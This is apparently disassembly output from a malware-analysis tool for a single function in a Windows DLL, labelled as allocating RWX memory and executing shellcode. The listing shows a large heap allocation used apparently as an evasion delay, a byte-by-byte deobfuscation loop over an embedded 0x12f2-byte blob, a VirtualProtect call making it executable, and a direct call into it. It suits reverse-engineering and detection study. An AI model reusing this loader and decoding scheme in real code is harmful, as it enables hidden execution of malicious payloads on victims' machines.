Function at 0x10005dc0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 0
push 0xbebc200
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x10006021
push 0xbebc200
push 0xde
mov eax, dword [ebp - 0xc]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 8], 0
jmp 0x10005e1d
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0x12f2
jae 0x10006004
mov edx, dword [ebp - 8]
mov al, byte [edx + 0x10008010]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
not ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
sub edx, 0x4a
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sar eax, 3
movzx ecx, byte [ebp - 1]
shl ecx, 5
or eax, ecx
mov byte [ebp - 1], al
movzx edx, byte [ebp - 1]
add edx, dword [ebp - 8]
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
neg eax
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
xor ecx, dword [ebp - 8]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
neg edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sar eax, 5
movzx ecx, byte [ebp - 1]
shl ecx, 3
or eax, ecx
mov byte [ebp - 1], al
movzx edx, byte [ebp - 1]
sub edx, 0x57
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
xor eax, 0xc0
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
add ecx, dword [ebp - 8]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
sar edx, 1
movzx eax, byte [ebp - 1]
shl eax, 7
or edx, eax
mov byte [ebp - 1], dl
movzx ecx, byte [ebp - 1]
neg ecx
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
xor edx, 0xf4
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sub eax, 0x17
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
xor ecx, dword [ebp - 8]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
add edx, 0xa2
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
not eax
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
sub ecx, 0x82
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
not edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
neg eax
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
sar ecx, 2
movzx edx, byte [ebp - 1]
shl edx, 6
or ecx, edx
mov byte [ebp - 1], cl
movzx eax, byte [ebp - 1]
neg eax
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
sar ecx, 3
movzx edx, byte [ebp - 1]
shl edx, 5
or ecx, edx
mov byte [ebp - 1], cl
movzx eax, byte [ebp - 1]
add eax, 0xd
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
xor ecx, 0x24
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
not edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
neg eax
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
xor ecx, 0x9e
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
not edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
neg eax
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
xor ecx, dword [ebp - 8]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
add edx, 0x29
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
xor eax, 3
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
add ecx, dword [ebp - 8]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
xor edx, 0x43
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 1]
xor ecx, dword [ebp - 8]
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
not edx
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
sub eax, dword [ebp - 8]
mov byte [ebp - 1], al
mov ecx, dword [ebp - 8]
mov dl, byte [ebp - 1]
mov byte [ecx + 0x10008010], dl
jmp 0x10005e14
lea eax, [ebp - 0x10]
push eax
push 0x40
push 0x12f2
push 0x10008010
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0x10008010
call ecx
xor eax, eax
mov esp, ebp
pop ebp
ret